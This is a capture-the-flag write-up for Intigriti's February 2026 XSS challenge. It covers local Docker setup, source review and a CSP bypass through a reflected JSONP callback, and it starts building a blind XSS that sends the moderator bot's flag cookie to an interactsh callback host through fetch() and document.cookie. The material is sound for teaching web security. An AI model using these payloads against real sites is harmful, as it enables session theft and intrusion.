Intigriti February 2026 Challenge: CTF Challenge 0226 by d3dn0Ov4

In February 2026 ethical hacking platform Intigriti (https://www.intigriti.com/) launched a new
Capture The Flag challenge. The challenge itself was created by community member d3dnOv4.

Intigriti's February challenge by d3dn0Ov4

Find the FLAG and win Intigriti swag! =
Rules:

« This challenge runs from 16/02/2026 1:00 PM until 23/02/2026, 11:59 PM UTC.

s Out of all correct submissions, we will draw six winners on Wednesday 25/02/2026:
o Three randomly drawn correct submissions
o Three best write-ups

» Every winner gets a €50 swag voucher for our swag shop

¢ The winners will be announced on our Twitter profile.

¢ For every 100 likes, we'll add a tip to announcement tweet.

¢ Join our Discord to discuss the challenge!

Rules of the challenge

« Should leverage a XSS vulnerability on the challenge page
* Should work on the latest version of Google Chrome.

+ Shouldn't be self-XSS or related to MiTM attacks.

Challenge

The rules indicate a XSS (Cross Site Scripting) vulnerability needs to be found and exploited. Once
working on the challenge it became clear the XSS needed to be used to attack the web application
administrator (Moderator) and steal an admin cookie holding the flag.

Steps taken to solve the challenge

Step 1: Local setup
The challenge had a link to download the source code behind the web application. I have added the
source code zip folder also to my GitHub repository so you can still download it.

I solved the challenge on a Windows 11 operating system. I will show how you can start the web
application on this operating system and test the challenge locally.

1) After downloading unzip “source.zip”

2) inside the source folder you will find 2 files: “docker-compose.yml” and “start.sh”
3) Download Docker desktop here: https://www.docker.com/products/docker-desktop/
4) Install docker desktop.

5) Install WSL (Windows Subsystem for Linux).
https://learn.microsoft.com/en-us/windows/wsl/install

6) I deployed an Ubuntu 24.04 LTS from the Microsoft store via WSL.



https://www.docker.com/products/docker-desktop/
https://learn.microsoft.com/en-us/windows/wsl/install
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2 Windows PowerShell
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7) Once Docker desktop and Ubuntu are running use the Ubuntu installation and move into the
downloaded challenge source folder. I left it in my Downloads folder.

cd /mnt/c/Users/<Your Windows Accountname>/Downloads/source/source
8) Check if you are in the correct folder that contains “docker-compose.yaml”: Is

9) Check if Docker Desktop is running: docker --version
10) Setup the Docker containers and challenge environment: docker compose up



% Windows PowerShell X 43 joren@LT-Joren: /mnt/c/User: X + v

:$ cd /mnt/c/Users/verhe/Downloads/source
3 $ 1s

$ cd source
$ 1s

$ docker —-version

Docker version 29.2.1, build a5c7197

3 $ docker compose up
[+] Building 1.4s (4/7)

=> [nginx internal] load metadata for docker.io/library/nginx:alpine
=> [bot internall] load metadata for mcr.microsoft.com/playwright/python:vl.u®.0-jammy
=> [app internall] load metadata for docker.io/library/python:3.11-slim

% Windows PowerShell X 49 joren@LT-Joren: /mnt/c/User:

[+] up 7/7
Image source-app
Image source-bot
Image source-nginx
Network source_inkdrop-network
Container source-app-1
Container source-bot-1
Container source-nginx-1
Attaching to app-1, bot-1, nginx-1
[Bot] Bot service ready
* Serving Flask app 'bot'
* Debug mode: off
[Nginx] InkDrop running on http://localhost:8080
[2026-02-19 20:05:50 +0000] [1] [INFO] Starting gunicorn 21.2.6
[2026-02-19 20:05:50 +0000] [1] [INFO] Listening at: http://6.0.0.0:5000 (1)
[2026-02-19 20:05:50 +0000] [1] [INFO] Using worker: sync
[2026-02-19 20:05:50 +0000] [7] [INFO] Booting worker with pid: 7
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The output in the Ubuntu 24.04 terminal shows the environment is running at web address:
http://localhost:8080

~ @ Intigriti February Challenge X @ InkDrop — Write & Share x @ Intigriti February Challenge x + - [m] X
< C @ localhost:8080 o ®
a5 G Google

Y

Step 2: Recon

As always it starts with recon and trying to understand what the web application is doing. A good
start for example is using the web application, reading the challenge page source code and looking
for possible inputs that can be abused.

The actual challenge starts at this URL: http://localhost:8080/challenge (When hosted locally)

v @ Intigriti February Challenge X | @ InkDrop — Write & Share X @ InkDrop — Write & Share X  + -

& C @ localhost:8080/challenge e ®

V4 InkDrop Login  |[REGISEER

A modern platform for writers and creators.

Get Started

Recent Posts

ot. Be the firs

0 — Collaborative Writing Platform



http://localhost:8080/challenge
http://localhost:8080/

First step is easy we need to register and login before we can access the “InkDrop” web application.

v @ Intigriti February Challenge X | @ InkDrop — Write & Share X @ Register — InkDrop x  + = o X

< Cc @ localhost:8080/register * @

p InkDrop Login  [SEGISter

Join InkDrop

Username

Password

Create Account

Have unt? Login

Once logged in we can create new posts. This seems to be the only option we have. So lets create a
post to see what happens.

X @ Intigriti February Challenge X @ InkDrop — Write & Share X @ Dashboard — InkDrop x e = a X

< (] @ localhost:8080/dashboard ¥ ®

p InkDrop Dasht New Post

Your Posts + New Post

Create Post

1g Platform




ot @ Intigriti February Challenge X @ InkDrop — Write & Share X @ New Post — InkDrop X + - (m] X

< (] ® localhost:8080/post/new e ®

p InkDrop a ard  [New Post

Create New Post

Cancel Publish




v @ Intigriti February Challenge op s Sha @ New Post — InkDrop

< c @ localhost:8080/post/new

4 InkDrop Dashboard |[MEMEEESI Logout

Create New Post

Title

test post 1

Content (Markdown supported)

Test post content

Cancel Publish

InkDrop v2.0 — Collaborative Writing Platform

We publish a post which triggers some extra functionalities. We can click the button “Report to
Moderator”

v @ Intigriti February Challenge X @ InkDrop — Wi es 1— InkDrop

& ¢} ® localhost:8080/post/1

>4 InkDrop Dashboard  Logout

test post 1

By Joren + February 19, 2026

Test post content

> Report to Moderator




When we click the “Report to Moderator” button the dashboard screen shows our post is submitted
and send to a Moderator for review. We can also notice the dashboard shows an overview of our
posts.

v @ Intigriti February Challenge X | @ InkDrop — Write & Share X @ Dashboard — InkDrop x o+ = (m] X

< c @ localhost:8080/dashboard * ®

p InkDrop ard |NSWSPOSH

Your Posts + New Post

test post 1 Februan 6 Edit Delete

During recon I also always check the client side source code via the web browser developer tools.
But in this challenge there is almost no client side source code which means the challenge is written
in a programming language running on the server side and thus not visible for us in the browser.



v @ Intigriti February Challenge X @ InkDrop — Write & Share X @ Dashboard — InkDrop X o - (m] X

< c @ localhost:8080/dashboard * ®

New Post

Your Posts + New Post

Delete

/K L[D Elements Console Sources Network Performance Memory Application Privacy and security  Lighthouse  Recorder G X
Page Workspace > : [ challenge-style.css dashboard X 0D 0o N3

'y
- O top » Watch

<html lang="en"> v Breakpoints

1
2

3 <head> .

a (O Pause on uncaught exceptions

<meta charset="UTF-8"> -
[ Pause on caught exceptions

~ & localhost8080
v [ static/css

D challenge-style.css 5 <meta name="viewport” content="width=device-width, initial-scale=1.@">

D dashboard 6 <t::Lt1e>Dashboard - InkDrop(/title)I v Scope
7 <link rel="stylesheet" href="/static/css/challenge-style.css">
8  </head>
9 <body> v Call Stack
10 <nav class="navbar">
11 <div class="nav-container">
12 <a href="/" class="nav-brand"> # InkDrop</a> » XHR/fetch Breakpoints
13 <div class="nav-links"> » DOM Breakpoints
14
15 <a href-"/dashboard" >Dashboard</a> > @t EmEn
16 <a href="/post/new" class="btn-primary”>New Post</a> > Event Listener Breakpoints
17 <a href="/logout">Logout</a> » CSP Violation Breakpoints
18
19 </div>
20 </div>
21 </nav>
22
23 <main class="main-content">
24
25
26
27

28 <div class="dashboard">

29 <header class="dashboard-header"”>

30 <h1>Your Posts</h1>

31 <a href="/post/new” class="btn btn-primary”>+ New Post</a>

32 </header>

33

34

35 <div class="posts-list">

36

37 <div class="post-item">

38 <h3><a href="/post/1">test post 1</a></h3>

39 <p>February 19, 2026</p>

40 <div class="post-actions">

41 <a href="/post/1/edit" class="btn btn-small">Edit</a>
2 <form action="/post/1/delete” method="POST" style="display:inline"s
43 <button type="submit" class="btn btn-small btn-danger”>Delete</button>
44 </form>

45 </div>

46 </div>

47

18 </div>

49

50 </div>

51

52 </main>

53

54 <footer class="footer">

55 <p>InkDrop v2.@ — Collaborative Writing Platform</p>

56 </footer>

57 </body>

58 </html>

What we can learn from this first recon round:

- The most interesting code runs server side.

- The CTF is about capturing a flag. We can assume the flag is somewhere saved in the Moderator
account and the only link between us and the Moderator is the “Report to Moderator” button.



Step 3: Source code review

The challenge page also gave us the actual web application source code to run the challenge locally
in our Docker Desktop environment. This means the server side source code which we normally
cannot access is given to us as it runs in our own local Docker containers.

We can inspect the server side code to understand the web application better and see for example
how the Moderator works when the “Report to Moderator” button is clicked.

The root folder structure shows:

- docker-compose.yml: Less interesting as we used this to deploy the challenge locally.
- app: We need to inspect this further as this it the main application source code.

- bot: Probably the Moderator source code.

- nginx: The web server itself which is less interesting at this moment.

-
Name Date modified Type Size

™ Yesterday

] docker-compose.yml 18/02/2026 19:18 Yaml Source File 1KB
app 18/02/2026 19:18 File folder
bot 18/02/2026 19:18 File folder
nginx 18/02/2026 19:18 File folder

In the “app” folder we need to focus on the “app.py” file as this is the python file with the server
side source code. The “static” and “templates” folder contain HTML and JavaScript code which
also can be viewed at the client side via the web browser developer tools.

v
Name Date modified Type Size

~ Yesterday

[] .DS_Store 18/02/2026 19:18 DS_STORE File 7KB

2| app.py 18/02/2026 19:18 Python Source File 10 KB

D Dockerfile 18/02/2026 19:18 File 1KB

& favicon.ico 18/02/2026 19:18 1CO File 15 KB

—| requirements.txt 18/02/2026 19:18 Text Document 1KB
static 18/02/2026 19:18 File folder

templates 18/02/2026 19:18 File folder




Main application
Here some snippets from “app.py”

We see the already known parts of the application where we can register and login with our user
account.

@app-route('/")
index():
return render_template('index.html', posts=[])

@app.route('/challenge')
challenge():
return render_template('challenge.html’, posts=[])

@app.route('/register’, methods=['GET', 'POST'])
register():
if request.method == 'POST':
username = request.form.get('username’', '").strip()
password = request.form.get('password', '")

if username password:
flash('Username and password required.', 'error')
return render_template('register.html’)

if len(username) < 3 len(username) > 38:
flash('Username must be 3-3@ characters.', 'error')
return render_template('register.html’)

if User.query.filter_ by(username=username).first():

flash('Username exists.', 'error')
return render_template('register.html’)

user = User(username=username, password=generate_password_hash(password))
db.session.add(user)
db.session.commit()
flash('Registered! Please login.',
return redirect(url_for('login'))

return render_template('register.html")

@app.route('/login', methods=["GET', 'POST'])
login():




We have the dashboard where we can create, edit and view posts

@app-route('/dashboard')
@login_required
dashboard():
user = User.query.get(session['user_id'])
posts = Post.query.filter_ by(author_id=user.id).order_by(Post.created_at.desc()).all()
return render_template('dashboard.html’, posts=posts, user=user)

@app-route('/post/new’, methods=['GET', 'POST'])
@login_required
post_new():
if request.method == 'POST':
title = request.form.get('title', '").strip()
content = request.form.get('content’, '').strip()

if title content:
flash('Title and content required.', 'error')
return render_template('post_new.html')

post = Post(
title=title,
content=content,
author_id=session[ "user_id"]
)
db.session.add(post)
db.session.commit ()

flash('Post created!', 'success')
return redirect(url_for('post_view', post_id=post.id))

return render_template('post_new.html')

@app.route('/post/<int:post_id>"')
post_view(post_id):
post = Post.query.get_or_4@4(post_id)

is_admin = session.get('username') == ADMIN_USERNAME
is_author = session.get('user_id') == post.author_id

if is_admin is_author:
flash('Access denied.', 'error')
return redirect(url_for('index'))

return render_template('post_view.html', post=post)

@app.route('/post/<int:post_id>/edit', methods=['GET', 'POST'])
@login_required

post_edit(post_id):

post = Post.query.get_or_404(post_id)

Finally some new API endpoints that we did not yet discover in our initial recon:

- /api/render?id=
- /api/jsonp?callback=&handleData=
- /api/config




@app.route('/api/render")
F api_render():
post_id = request.args.get('id")

if not post_id:
return jsonify({'error': 'Missing id'}), 4ee

post = Post.query.get(post_id)
if not post:
return jsonify({'error': 'Not found'}), 4e4

rendered_html = render_markdown(post.content)

return jsonify({
'id': post.id,
‘title’': post.title,
‘html': rendered_html,
‘author': post.author.username,
'rendered_at': time.time

9

@app.route('/api/jsonp')
def api_jsonp():
callback = request.args.get('callback', 'handleData')

if '<' in callback or '>' in callback:
callback = 'handleData’

user_data = {
‘authenticated': ‘user_id' in session,
"timestamp': time.time()

if 'user_id' in session:
user = User.query.get(session['user_id'])
if user:
user_data[ 'username'] = user.username

response = f"{callback}({json.dumps(user_data)})"
return Response(response, mimetype='application/javascript')

@app.route('/api/config")
def api_config():
return jsonify({
‘safeMode': True,
‘version': '2.0.0°,
'features': ['markdown', 'preview', 'export'

9




We can dig a bit deeper into these API endpoints. We have created a test post in our initial recon
which is located at “http://localhost:8080/post/1” when we open it in our web browser. This means
our first post has ID number 1.

If we open the endpoint http://localhost:8080/api/render?id=1 we see our first post in JSON format:

v @ Intigriti February Challenge X | @ InkDrop — Write & Share X | @ testpost1— InkDrop X @ localhost8080/api/render?id=1 X + — (u] X
< Cc ® localhost:8080/api/render?id=1 Pxd ®

>retty-print ()

“"author":"Joren","html":"<p>Test post content</p>","id":1,"rendered_at":1771533821.25133,"title":"test post 1"}

Nice but not very useful for the challenge. I discovered that the Intigriti hosted challenge at this
endpoint and more precise the “id” parameter holds an IDOR (Insecure Direct Object Reference)
vulnerability and you can read any post created by any user as long as they did not delete the post.
This does not matter for this challenge but it is nice to know and probably could have shown
working payloads to solve the challenge from other participants ;-).

For example post with ID number 37 on the actual challenge page shows a post created by the user
admin with a base64 code as content and post1 as title. Just enumerate the IDs to other numbers and
you will see more posts from other participants.

v @ |Intigriti February Challenge x @ challenge-0226.intigritiio/api/i X @ test post 1— InkDrop x @ localhost:8080/api/render?id=1 X ol - o X

<« Cc 25 challenge-0226.intigriti.io/api/render?id=37 Pre ®
Pretty-print (J

{"author™: "admin","html": "<p>12ZmxhZz1ITIRIR1IIVE17MDE5YZY20GYtYmY5Zi®3MGU4LWI30TMtODB1ZTdmODZIMDBifQ==</p>","1d":37,"rendered_at":1771533972.9213743, "title": "post1"}

Next endpoint: http://localhost:8080/api/jsonp?callback=&handleData= is very interesting as
JSONP is some kind of legacy technique to fetch JSON data from a different domain without being
restricted by the browser's same-origin policy.

This was actually used to fetch data from a different origin before modern CORS (Cross Origin
Resource Sharing) support existed in browsers.

https://www.w3schools.com/js/js json jsonp.asp

https://en.wikipedia.org/wiki/JSONP

The response is executed as JavaScript when loaded via a <script> tag. This can be of our use to
bypass certain security measures in the application later.

Unlike normal JSON fetched via fetch() or XMLHttpRequest, JSONP is executed immediately as
code.

If an attacker controls:
- The callback name
- The data returned


https://en.wikipedia.org/wiki/JSONP
https://www.w3schools.com/js/js_json_jsonp.asp
http://localhost:8080/api/jsonp?callback=&handleData
http://localhost:8080/api/render?id=1
http://localhost:8080/post/1

This can for example be used to bypass CSP (Content Security Policy) rules set by the web
application developers.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP
https://en.wikipedia.org/wiki/Content Security Policy

Our source code shows we have a “callback” parameter for this JSONP endpoint. We need to check
if it is reflected. Although it will not execute anything here it can be useful later to bypass a
protection like CSP.

v @ Intigriti February Challenge X @ challenge-0226.intigriti.io/api/r X @ test post 1— InkDrop X @ localhost:8080/api/jsonpcallb: X o - o X

< (¢} ® localhost:8080/api/jsonp?callback=alert()&handleData=test 7 ®

alert( Lauthenticated": true, “"timestamp": 1771534080.794308, "username": "Joren"})

The last API endpoint http://localhost:8080/api/config does not reveal anything in our interest.

v @ Intigriti February Challenge x @ challenge-0226.intigritiio/api/i % @ test post 1 — InkDrop x @ localhost:8080/api/config X +

S C @ localhost:8080/api/config
Pretty-print [

{"features":["markdown","preview","export"], "safeMode":true, "version":"2.8.0"}

The final part shows that once we click the “Report to Moderator” button that a headless browser
starts and sends a POST request to the bot. This is interesting and we need to inspect this for
possible SSRF (Server Side Request Forgery) or Blind XSS attacks which are common when using
headless browsers to send requests in the back-end of a web application.


http://localhost:8080/api/config
https://en.wikipedia.org/wiki/Content_Security_Policy
https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP

@app.route('/report/<int:post_id>', methods=['POST'])
@login_required

report_post(post_id):

post = Post.query.get_or_404(post_id)

user_id = session['user_id']

current_time = time.time()

if user_id last_report_time:
time_diff = current_time - last_report_time[user_id]
if time_diff < RATE_LIMIT_ SECONDS:
remaining = int(RATE_LIMIT_SECONDS - time_diff)
flash(f'Wait {remaining}s.', ‘error')
return redirect(url_for('post_view', post_id=post_id))

last_report_time[user_id] = current_time

send_to_bot(pid):
try:

requests.post( 'http 2 sit', json={'post_id': pid}, timeout=5)
except:
pass

Thread(target=send_to_bot, args=(post_id,)).start()
flash('Report submitted! Moderator will review.', 'success')
return redirect(url_for('post_view', post_id=post_id))

BOT (Moderator)

For the bot source code mainly the “bot.py” file is interesting to look into.

Name Date mcd'\ﬁed\/ Type Size
~ Yesterday
1#| bot.py 18/02/2026 19:18 Python Source File 3 KB
D Dockerfile 18/02/2026 19:18 File 1KB
=] requirements.txt 18/02/2026 19:18 Text Document 1KB

The bot is a headless browser that visits the web page at /visit with a POST request. If you look
closely to the source code you can see the bot has a “add_cookies” function that will place a web
browser cookie without the “httpOnly” flag set.

This means this cookie can be read by XSS attacks and the value of the cookie is set to FLAG. It
shows and makes clear we need to capture this cookie to get the flag and solve the challenge.



f visit_post(post_id):
try:
with synec_playwright() as p:
browser = p.chromium.launch(
headless=True,
args=["'--no-sandbox', '--disable-dev-shm-usage']

)

context = browser.new_context(
viewport={'width': 1920, 'height': 108
user_agent="'Mozilla/5.0 (X11; Linu 6_64) AppleWebKit/537.36 Chrome/120.6.9.@ Safari/537.36 InkDropBot/2.@'

)

context.set_extra_http_headers({
'X-Preview-Token': BOT_PREVIEW_TOKEN
)

context.add_cookies ([
‘name’: 'flag’,
‘value': FLAG,
'domain': 'nginx’,

page = context.new_page()

page.goto(f'{APP_URL}/login', timeout=10000)
page.fill('input[nam "]', ADMIN_USERNAME)
page.fill('input[name=" 1", ADMIN_PASSWORD)
page.click('button[type="
page.wait_for_load_state('networkidle')

url = f'{APP_URL}/post/{post_id}"
page.goto(url, timeout=15000, wait_until='networkidle")

time.sleep(5)

browser.close()
return Tru

except Exception as e:
print(f"[Bot] Error: {e}", flush=True
return z

@app.route(’/visit’, methods=['POST'])
f handle_visit():
data = request.get_json()
(® You have Docker if

install the recomm

The server side source code shows:

- A JSONP endpoint with callback that can be used to bypass CSP protections for example.

- The bot (moderator) has a cookie named flag that is not protected by “httpOnly”.

- The bot uses a headless browser so we can abuse that to ex-filtrate data. In this case the cookie
content can be send by the bot to a server we control.

This gives big hints for the kind of scenario we need to create to solve the challenge:

1) Find an XSS (Cross Site Scripting) possibility on our side of the application first.

2) Deliver that XSS via the “report to Moderator” button to the bot.

3) The bot has a cookie with the flag so our XSS should read the content of that cookie.

4) The bot uses a headless browser so we can embed in our XSS payload a piece of JavaScript that
sends the cookie content to a web server we control.



Step 4: CSP bypass

The application is fairly small so actually we only have input we control in the posts we create. This
comes down to the post title and content where we can potentially inject XSS.

Lets start simple and try to find an HTML injection. Via <s> tags we can see if our input get a
strike-trough once rendered by the application.

v @ Intigriti February Challenge X | @ challenge-0226intigritiio/api/s X @ New Post — InkDrop X @ localhost:8080/api/config x |+ - o X

< (6] ® localhost:8080/post/new e ®

# InkDrop

Create New Post

Title

<s>title</s>

Content (Markdown supported)

<s>content</sh

Cancel Publish




Notice how <s>content</s> becomes eontent.

2 @ |Intigriti February Challenge x @ challenge-0226.i fro X @ <s>title</s> — InkDrop

& c @ localhost:8080/post/2

o InkDrop Dashboard  Logout

<s>title</s>

By Joren  February 19, 2026

> Report to Moderator

The post content is vulnerable to HTML injection. We can now try to level this up to XSS.

v @ Intigriti February Challenge X @ challenge-0226.i X @ New Post— InkDrop

& (&) @ localhost:8080/post/new

ﬁ InkDrop Dashboard [MEMEBBSI Logout

Create New Post

Title

<s>title</s>

Content (Markdown supported)

<img src="x' onerror="alert()'>

Publish

InkDrop v2.0 — Collaborative Writing Platform




Once we publish the image is rendered but no alert box. This means the XSS failed to execute. The
image rendered but the injected JavaScript did not execute.

v @ Intigriti February Challenge X | @ challenge-0226.intigritiio/api/r X @ <s>title</s> — InkDrop % @ localhost:8080/api/config x |+ = o X

& C ® localhost:8080/post/3 s ®

p InkDrop )a ard Logout

<s>title</s>

By Joren « February

> Report to Moderator

The browser developer tools Console shows why the JavaScript payload we injected did not
execute. The reason is the CSP (Content Security Policy) implemented by the web application
developer. It does not allow inline execution of scripts.

v @ Intigriti February Challenge X | @ challenge-0226intigritiiofapi/i X @ <s>title</s> — InkDrop X @ localhost:8080/api/config x | + = [m] X

<« C ® localhost:8080/post/3 Y ®

r'4 InkDrop ashboard  Logout

<s>title</s>

By Joren - February 19

ik [0 Elements Console Sources Network Performance Memory Application  Privacy and security Lighthouse ~ Recorder Q2 |1 @ ™ i X
D @ topvy @ Y Filter Defaultlevels ¥ 1lssue: B1  §83

© Failed to load resource: the server responded with a status of 404 (NOT FOUND) x:1 @

@ Executing inline event handler violates the following Content Security Policy directive 'script-src 'self'®. Either the 'unsafe-inline’ keyword, a hash ('sha256-..."), or a nonce 3:1
("nonce-...") is required to enable inline execution. Note that hashes do not apply to event handlers, style attributes and javascript: navigations unless the ‘unsafe-hashes’ keyword is
present. The action has been blocked.

4



Google has a website where you can check the CSP rule set by a website and see if it has some
weak configuration. To test you need to copy the CSP rule from the source code into the evaluator.
Copying the URL will not work in this example as we are hosting the challenge locally on our own
computer.

https://csp-evaluator.withgoogle.com/

~ @ Intigriti February Challenge X | @ challenge-0226.intigritiio/api/i X @ <s>title</s> — InkDrop X @ localhost:8080/api/config x o+ = o X

< (€] ® localhost:8080/post/3 e ®

<s>title</s>

By Joren + Feb

iK [0 Elements Console Sources Network Performance Memory Application Privacy and security Lighthouse  Recorder 92 |1 @ & X
Page Workspace >> i [0 -challenge-style.css 3X 0D 0o 2N
-5 top 1 4IRQCTVRE himl: © » Watch
2 <html lang="en"> i
+ & localhost:8080 D hents  Breakpoints
« B3 post N e N 0 Pause on uncaught exceptions
[ 5 <meta name="viewport” content="width=device width, initial-scale=1.0"> [ Pause on caught exceptions
B st 6 <meta http-equiv="content-Security-Policy” content="default-src 'self’; script-src 'self’; style-src 'self® "u ¥ Scope
static 7 <title>&1t;s&gt;title&lt;/s&gt; — InkDrop</title>
~ 3 css 8 <link rel="stylesheet” href="/static/css/challenge-style.css">
[} challenge-style.css 9 </head> v Call Stack
10 <body>
»
B 11 <nav class="navbar">
12 <div class="nav-container”> » XHR/fetch Breakpoints
13 <a href="/" class="nav-brand"> 4 InkDrop</a> » DOM Breakpoints
14 <div class="nav-links">
- » Global Listeners
16 <a href="/dashboard">Dashboard</a> » Event Listener Breakpoints
17 <a href="/logout">Logout</a> » CSP Violation Breakpoints
18

19 </div>


https://csp-evaluator.withgoogle.com/

default-src 'self’; script-src 'self’; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src *;

One medium severity finding mentioning JSONP. This is interesting as we found a JSONP API
endpoint with a callback parameter reflecting our input.

CSP Evaluator

CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site

scripting_attacks. It assists with the process of reviewing CSP policies, which is usually a manual task, and helps identify subtle CSP bypasses which

undermine the value of a policy. CSP Evaluator checks are based on a |arge-scale study and are aimed to help developers to harden their CSP and
improve the security of their applications. This tool (also available as a Chrome extension) is provided only for the convenience of developers and

Google provides no guarantees or warranties for this tool.

Content Security Policy

Sample unsafe policy Sample safe policy

default-src 'self'; script-src ‘self'; style-src 'self' ‘unsafe-inline'; img-src * data:; connect-src *;

|CSP Version 3 (honce based + backward compatibility checks) v | "]
CHECK CSP

Evaluated CSP as seen by a browser supporting CSP Version 3

expand/collapse all

v default-src v
~

'self 'sell’ can be problematic if you host JSONP, AngularJS or user uploaded files.
v style-sre v
v img-sre v
+ connect-src v
@ require-trusted-types-for [missing] Consider requiring Trusted Types for scripts to lock down DOM XSS injection sinks. You can do this by v

adding "require-trusted-types-for 'script" to your policy.

Step 5: Self XSS via JSONP

We came to the conclusion that the web developer implemented a CSP (Content Security Policy)
rule that denies our XSS payloads to execute but after checking the CSP rule it has a weakness by
allowing “script-src — self” which can become vulnerable if the application is using JSONP for
example.

During our recon of the server side source code we found a JSONP endpoint “/api/JSONP?
callback="

We need to combine the CSP flaw with the discovered JSONP endpoint to achieve our XSS and
bypass the protections.



The CSP evaluator from Google showed “script src — self” is vulnerable. So we need to adapt our
initial XSS payload. With “script src — self” is meant a payload like following to embed arbitrary

JavaScript:

<script src=""></script>

It mentions it is only vulnerable when combined for example with JSONP. We have a JSONP with

callback at this endpoint: http://localhost:8080/api/jsonp?callback=

We need to inject JavaScript via the callback parameter. A simple test is to use the “alert()” function

to pop an alert box:

http://localhost:8080/api/jsonp?callback=alert()

v @ InkDrop — Write & Share X | @ Dashboard — InkDrop X @ localhost:8080/api/jsonp?callb: X+
& C @ localhost:8080/api/jsonp?callback=alert()

alert()({"authenticated": true, "timestamp": 1771678359.8533459, "username": "Joren"})

i [0 CElements Console Sources Network Performance Memory Application Privacy and security Lighthouse
Page Workspace > i [0 jsonpZeallback=alert() X
~ [ top 1 alert()({
- "authenticated”: true,
~ & localhost8080 "timestamp”: 1771678359.8533459,
~ [ api - “username”: “"Joren"
[ jsonpzcallback=alert( - b

G 10 =
4 » Watch
v Breakpoints

[J Pause on uncaught exceptions
[J Pause on caught exceptions

¥ Scope
Not paused
v Call Stack
Not paused
» XHR/fetch Breakpoints
» DOM Breakpoints
» Global Listeners
» Event Listener Breakpoints

» CSP Violation Breakpoints



http://localhost:8080/api/jsonp?callback=alert()
http://localhost:8080/api/jsonp?callback

This is promising but notice in the developer tools that our valid JavaScript alert() function is
followed by the actual JSON the web application sends via JSONP. The issue here is that the JSON
is not valid JavaScript code so we need to comment (//) this trailing part so only our valid

JavaScript alert() function stays.

http://localhost:8080/api/jsonp?callback=alert()//

v @ InkDrop — Write & Share X | @ Dashboard — InkDrop X @ localhost:8080/api/jsonp?callbe X+
& Cc @ localhost:8080/api/jsonp?callback=alert()//

alert()//({"authenticated": true, "timestamp": 1771678135.8904333, "username": "Joren"})

i [0 CElements Console Sources Network Performance Memory Application  Privacy and security Lighthouse  Recorder
Page Workspace » i [[@ jsonp?callback=alert()// %
~ O top 1 alert()
//({"authenticated”: true, "timestamp”: 1771678135.8904333, “"username”: "Joren"})
~ & localhost:8080 5
~ B3 api

[ jsonp?callback=alert(//

G @
il =
» Watch
v Breakpoints

() Pause on uncaught exceptions
[ Pause on caught exceptions

v Scope
Not paused
v Call Stack
Not paused
» XHR/fetch Breakpoints
» DOM Breakpoints
» Global Listeners
» Event Listener Breakpoints

» CSP Violation Breakpoints

The JSON part is now shown in green color in the developer tools as it became a comment in the

code which is valid JavaScript code.

Time to combine this into a XSS payload we can inject into the post content:

<script src="http://localhost:8080/api/jsonp ?callback=alert()//"> </script>

Or a bit shorter as we are injecting into the application it will search locally and does not need to

know the hostname part of the URL.

<script src="/api/jsonp ?callback=alert()//"> </script>


http://localhost:8080/api/jsonp?callback=alert()//
http://localhost:8080/api/jsonp?callback=alert()//
http://localhost:8080/api/jsonp?callback=alert()//

Create a new post with the XSS payload in the content section and publish it.

v @ InkDrop — Write & Share X @ NewPost— InkDrop X @ localhost:8080/api/jsonp?callb: X | + = (m] X

< (¢} ® localhost:8080/post/new Y ®

# InkDrop

Create New Post

Title

Self XSS
Content (Markdown supported)

<script src="/api/jsonp?callback=alert()//"></script>

Cancel Publish

The alert box fires as our injected JavaScript is now executed bypassing the CSP protections. This is
a self XSS as we can at this moment only target our self in our own InkDrop account. Other users
are not yet affected.



v @ InkDrop — Write & Share X @ Self XSS — InkDrop X @ localhost:8080/api/jsonpZeallb: X o = o X

< c @ localhost:8080/post/4 D d ®

localhost:8080 says

Step 6: Blind XSS against admin

We have XSS but it has no value yet as it only targets our own InkDrop account and not any other
user of the application. But remember that we saw the bot (Moderator) has as cookie set with the
flag that is not protected by httpOnly. This means an XSS attack can read the content of that cookie.

The next step is clear. We need to deliver this XSS somehow to the bot (Moderator) and read that
cookie holding the flag. Once the XSS reads the cookie we will need to ex-filtrate the content of the
cookie to our server.

There is 1 options the “Report to Moderator” button as this will take care of the fact the Moderator
will check our post. If our post contains and XSS it will run our arbitrary JavaScript once the
Moderator reads our post.



A blind XSS will bet the way to get the flag. We deliver an XSS from which we will not know when
it will execute. We just need to monitor our server for a callback from our XSS payload to see if it
worked.

The most important step is to create a working XSS payload that is able to ex-filtrate the cookies
and send it to a server we control.

We need to host a server or use available tools like ngrok (https://ngrok.com/?homepage-cta-
docs=test) or interactsh (https://app.interactsh.com/)

For this write-up I will be using interactsh. Open the web page (https://app.interactsh.com/) and
copy your URL. (Do not close the interactsh page anymore now.)

7 @ InkDrop — Write & Share x e- Self XSS — InkDrop x @ localhost:8080/api/jsonp?callb: X ©) Interactsh | Web Client x 0 - o X
& (&) %% app.interactsh.com e ®

interactsh Auto Download O oastfun B Reset ] Notifications ¢, Export Terms About

DarkSynthBlue

11X + C' Refresh

hszwtkxautpngvbauukbkvab8k8i2diev.... @

My interactsh URL at the moment of writing was:
“hszwtkxautpngvbauukbkva58k8i2diev.oast.fun” or
https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun

We had this basic payload for our Self XSS: <script src="/api/jsonp ?callback=alert()//"> </script>

The alert() function is nice to confirm JavaScript is executed but we need to replace it with another
JavaScript function to ex-filtrate data and read cookies.

fetch() is a good option as this JavaScript function can be used to send web requests. We know the
Moderator or bot uses a headless browser to send web request. So if the fetch executes the bot will

be able to handle it and open the web-page indicated by fetch().

https://developer.mozilla.org/en-US/docs/Web/API/Fetch API/Using Fetch

A basic fetch() will look like this: fetch("URL')

We want the bot or Moderator to fetch() our interactsh URL:
fetch("https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun')

And we want a bit more. We hope the fetch() also sends the Moderator or bot browser cookies.


https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/
https://hszwtkxautpngvbauukbkva58k8i2diev.oast.fun/
https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch
http://localhost:8080/api/jsonp?callback=alert()//
https://app.interactsh.com/
https://app.interactsh.com/
https://ngrok.com/?homepage-cta-docs=test
https://ngrok.com/?homepage-cta-docs=test

The JavaScript document.cookie property can do this for us:
https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie

We can add this document.cookie content nicely to a fake URL parameter for example.
